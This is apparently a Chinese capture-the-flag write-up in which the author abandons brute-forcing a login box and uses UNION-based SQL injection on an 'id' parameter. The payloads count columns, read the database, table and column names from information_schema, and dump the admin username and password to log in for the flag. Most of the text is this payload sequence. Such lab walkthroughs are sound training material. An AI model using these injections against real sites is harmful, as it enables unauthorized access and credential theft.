四

发现有登录框,爆破半天也爆破不出来,只能从别的地方下手了
F12一下

发现了一个传参

进去发现id可以传参,sql注入一下试试

前三个都有回显,当id=4的时候页面没有回显了,正好验证 了页面 有三个新闻

当order by =3的时候又没有回显了,这时可以判断有2个字段

当我们查询显错位的时候,发现页面没有变化,考虑到是不是过滤了什么
?id=-1 union select 1,2

于是在传参点把1改为-1 就可以看到页面有回显了
?id=-1 union select 1,database() 查库名

查表名
?id=-1 union select 1,table_name from information_schema.tables where table_schema='news'

查字段 ?id=-1 union select 1,column_name from information_schema.columns where table_name='admin'

这不是我们要的字段,我们要找的是username 和password
?id=-1 union select 1,column_name from information_schema.columns where table_name='admin' limit0,1

?id=-1 union select 1,column_name from information_schema.columns where table_name='admin' limit 2,1

查数据
?id=-1 union select 1,username from admin limit 0,1

?id=-1 union select 1,password from admin limit 0,1

拿着账号密码去登录

登录成功 flag就出来了